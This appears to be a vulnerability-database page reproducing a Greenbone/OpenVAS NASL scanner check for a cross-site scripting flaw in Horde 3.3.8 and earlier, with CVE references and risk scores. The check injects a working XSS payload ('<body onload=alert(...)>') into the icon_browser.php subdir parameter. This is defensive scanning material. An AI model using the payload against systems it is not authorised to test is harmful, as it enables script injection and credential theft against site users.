Horde <= 3.3.8 XSS Vulnerability - Active Check

Horde Application Framework 'icon_browser.php' Cross-Site Scripting Vulnerability in Versions Prior to 3.3.

Reporter	Title	Published	Views	Family All 35
Circl	CVE-2010-3077	6 Sep 201000:00	–	circl
CVE	CVE-2010-3077	9 Nov 201020:00	–	cve
CVE	CVE-2010-3694	9 Nov 201020:00	–	cve
Cvelist	CVE-2010-3077	9 Nov 201020:00	–	cvelist
Cvelist	CVE-2010-3694	9 Nov 201020:00	–	cvelist
Debian	[SECURITY] [DSA 2278-1] horde3 security update	16 Jul 201103:37	–	debian
Tenable Nessus	Debian DSA-2278-1 : horde3 - several vulnerabilities	19 Jul 201100:00	–	nessus
Tenable Nessus	Fedora 14 : horde-3.3.9-1.fc14 (2010-16525)	7 Nov 201000:00	–	nessus
Tenable Nessus	Fedora 13 : horde-3.3.9-1.fc13 (2010-16555)	7 Nov 201000:00	–	nessus
Tenable Nessus	Fedora 12 : horde-3.3.9-1.fc12 (2010-16592)	5 Nov 201000:00	–	nessus

Source	Link
securityfocus	www.securityfocus.com/bid/43001
git	www.git.horde.org/diff.php/horde/util/icon_browser.php

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:horde:horde_groupware";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100787");
  script_version("2025-03-27T05:38:50+0000");
  script_tag(name:"last_modification", value:"2025-03-27 05:38:50 +0000 (Thu, 27 Mar 2025)");
  script_tag(name:"creation_date", value:"2010-09-07 15:26:31 +0200 (Tue, 07 Sep 2010)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2010-3077", "CVE-2010-3694");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Horde <= 3.3.8 XSS Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("horde_http_detect.nasl");
  script_mandatory_keys("horde/http/detected");
  script_require_ports("Services/www", 443);

  script_tag(name:"summary", value:"Horde Framework is prone to a cross-site scripting (XSS)
  vulnerability because it fails to sufficiently sanitize user-supplied data.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary script
  code in the browser of an unsuspecting user in the context of the affected site. This may help
  the attacker steal cookie-based authentication credentials and launch other attacks.");

  script_tag(name:"affected", value:"Horde version 3.3.8 and prior.

  Note: Additional products that use the Horde framework may also be vulnerable.");

  script_tag(name:"solution", value:"The vendor has patched this issue in the latest GIT
  repository. Contact the vendor for more information.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/43001");
  script_xref(name:"URL", value:"http://git.horde.org/diff.php/horde/util/icon_browser.php?rt=horde-git&r1=a978a35c3e95e784253508fd4333d2fbb64830b6&r2=9342addbd2b95f184f230773daa4faf5ef6d65e9");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("url_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

ex = "<body onload=alert('vt-xss-test')>";

url = dir + "/util/icon_browser.php?subdir=" + urlencode(str: ex) + "&app=horde";

if (http_vuln_check(port: port, url: url, pattern: "<body onload=alert\('vt-xss-test'\)>. not found",
                    extra_check: "Subdirectory", check_header: TRUE)) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);

27 Mar 2025 00:00Current

5.7Medium risk

Vulners AI Score5.7

CVSS 26.8

EPSS0.03893